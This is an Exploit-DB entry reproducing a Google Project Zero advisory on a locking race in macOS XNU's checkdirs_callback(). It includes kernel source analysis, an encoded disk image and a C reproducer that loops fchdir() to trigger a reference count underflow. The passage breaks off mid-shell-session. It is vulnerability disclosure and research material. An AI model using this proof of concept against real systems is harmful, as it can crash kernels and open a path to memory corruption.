Exploit-DB #47592
Description: macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common()
Type: dos
Platform: macos
Date: 2019-11-05
Author: Google Security Research

Exploit:
On macOS, when a new mount point is created, the kernel uses checkdirs() to, as
a comment above the function explains: "Scan all active processes to see if any
of them have a current or root directory onto which the new filesystem has just
been mounted. If so, replace them with the new mount point."

In other words, XNU behaves as follows:

$ hdiutil attach ./mount_cwd.img -nomount
/dev/disk2
$ cd mnt
$ ls -l
total 0
-rw-r--r--  1 projectzero  staff  0 Aug  6 18:05 underlying
$ mount -t msdos -o nobrowse /dev/disk2 .
$ ls -l
total 0
-rwxrwxrwx  1 projectzero  staff  0 Aug  6 18:04 onfat
$

(This is different from e.g. Linux, where the cwd would still point to the
directory on the root filesystem that is now covered by the mountpoint, and the
second "ls -l" would show the same output as the first one.)


checkdirs() uses proc_iterate() to execute checkdirs_callback() on each running
process. checkdirs_callback() is implemented as follows:

======================================================
static int
checkdirs_callback(proc_t p, void * arg)
{
        struct cdirargs * cdrp = (struct cdirargs * )arg;
        vnode_t olddp = cdrp->olddp;
        vnode_t newdp = cdrp->newdp;
        struct filedesc *fdp;
        vnode_t tvp;
        vnode_t fdp_cvp;
        vnode_t fdp_rvp;
        int cdir_changed = 0;
        int rdir_changed = 0;

        /*
         * XXX Also needs to iterate each thread in the process to see if it
         * XXX is using a per-thread current working directory, and, if so,
         * XXX update that as well.
         */

        proc_fdlock(p);
        fdp = p->p_fd;
        if (fdp == (struct filedesc *)0) {
                proc_fdunlock(p);
                return(PROC_RETURNED);
        }
        fdp_cvp = fdp->fd_cdir;
        fdp_rvp = fdp->fd_rdir;
        proc_fdunlock(p);

        if (fdp_cvp == olddp) {
                vnode_ref(newdp);
                tvp = fdp->fd_cdir;
                fdp_cvp = newdp;
                cdir_changed = 1;
                vnode_rele(tvp);
        }
        if (fdp_rvp == olddp) {
                vnode_ref(newdp);
                tvp = fdp->fd_rdir;
                fdp_rvp = newdp;
                rdir_changed = 1;
                vnode_rele(tvp);
        }
        if (cdir_changed || rdir_changed) {
                proc_fdlock(p);
                fdp->fd_cdir = fdp_cvp;
                fdp->fd_rdir = fdp_rvp;
                proc_fdunlock(p);
        }
        return(PROC_RETURNED);
}
======================================================

`p->p_fd` contains the current working directory (`->fd_cdir`) and
root directory (`->fd_rdir`) of the process; it is protected against
modification by proc_fdlock()/proc_fdunlock(). Because checkdirs_callback()
does not hold that lock across the entire operation, several races are possible;
for example:

 - If `fdp->fd_cdir == olddp` is true and `fdp->fd_cdir` changes between the
   read `tvp = fdp->fd_cdir;` and the second `proc_fdlock(p);`,
   `vnode_rele(tvp);` will release a nonexistent reference, leading to reference
   count underflow.
 - If `fdp->fd_cdir == olddp` is true and the process calls chroot() between the
   first locked region and the second locked region, a dangling pointer will be
   written back to `fdp->fd_rdir`.


I have written a simple reproducer for the first scenario; however, since the
race window is quite narrow, it uses dtrace to make the race easier to hit (so
you have to turn off SIP).


To prepare an empty FAT32 filesystem and the PoC:
======================================================
Projects-Mac-mini:mount_cwd projectzero$ base64 -D | gunzip > mount_cwd.img
H4sIAI3cSV0CA+3TLUsEcRAH4PUQlBMPk2Dyj82yoNmgQZsv4bQIwsrt6XLn7nG75cDgR/BziEls
ghiu3rewXTGa1C0GszafZwZm4NcGZrp1e9XrlnE3qaLG7EzUqGv+vRGFaDv6dhOtb40fxgeH4WBn
fzfU9nbaG5v1bK0+n17fr71UCyePrae5aLJ0Nn3bfJ0sT1amH+3LrAx150UVknBeFFVy3k9DJyt7
cQhH/TQp05DlZTr8kXf7xWAwCkneWWwOhmlZ1uso9NJRqIpQDevkIsnyEMdxWGxG/Mbx3fvnpzPA
P+X/AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+EtfAgGlzAAA
EAA=
Projects-Mac-mini:mount_cwd projectzero$ 
Projects-Mac-mini:mount_cwd projectzero$ cat > flipflop2.c
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <stdio.h>

int main(void) {
  int outer_fd = open(".", O_RDONLY);
  if (outer_fd == -1) err(1, "open outer");
  int inner_fd = open("mnt", O_RDONLY);
  if (inner_fd == -1) err(1, "open inner");

  while (1) {
    if (fchdir(inner_fd)) perror("chdir 1");
    if (fchdir(outer_fd)) perror("chdir 2");
  }
}
Projects-Mac-mini:mount_cwd projec